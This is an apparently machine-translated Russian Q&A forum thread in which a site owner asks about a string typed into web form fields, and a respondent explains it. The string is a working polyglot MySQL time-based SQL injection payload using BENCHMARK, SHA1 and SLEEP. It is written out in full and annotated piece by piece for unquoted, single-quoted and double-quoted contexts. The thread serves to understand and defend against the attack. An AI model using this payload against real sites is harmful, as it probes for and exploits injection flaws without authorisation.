2013-10-02 2 views
2

кто-то вводит следующее содержание по unsing TextFields в формах:Кто знает эту инъекцию sql?

IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR"*/ 

У вас есть идея, что он делает? Для меня это похоже на попытку замедлить работу.

В Google можно найти много инъецированных сайтов (используя этот код). Я считаю, что для этого используется некоторый «супер-хакерский скрипт». Кажется, что в качестве адреса электронной почты по умолчанию используется «[email protected]». Кто-нибудь знает этот сценарий?

+1

Я думаю, что это замедляет работу при исполнении, если оно выполнено много, ваша база данных будет недоступна/очень медленно. Kinda DoS-атака –

+1

http://0mghax.blogspot.nl/2010/09/mysql-query-timeout-remote-denial-of.html –

ответ

4

Он предназначен для того, чтобы сильно ударить по ЦП, независимо от того, является ли значение поля ввода без кавычек, однокасканное или двойное кавычки в более старых версиях MySQL и в более новых версиях, чтобы спать в течение 5 секунд, удерживая соединение открытым ,

В любом случае это может привести к атаке типа «отказ в обслуживании», если приложение уязвимо для SQL-инъекции, поскольку долгое время подключение к сети может привести к тому, что на сервере закончится доступ к ресурсам/доступным соединениям ,

-- if unquoted, it sees this: 
IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)) 
---and then ignores the rest, which appears commented:   
/* 


-- If it's single-quoted, it doesn't see the comment, 
-- rather, it terminates the singlequote: 
' 
-- ...and then sees this: 
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR 
--- ...and then sees the next part as a single-quoted string terinated in the client 
'| 


--but if it's a double-quoted, string, it sees the end double-quote: 
" 
-- ...and runs this: 
XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2600000,SHA1(0xDEADBEEF)),SLEEP(5)))OR 
---and then opens a doublequote to be closed in the client 
" 
-- This is the end of the comment opened in the case of the unquoted client string. 
*/ 

В каждом случае это пытается бенчмарка в исполнении функции SHA1, что является довольно ресурсоемким. BENCHMARK - это просто функция, выполняющая другое выражение фиксированное число раз. В этом случае он используется для выполнения CPU DOS на хосте.

Смежные вопросы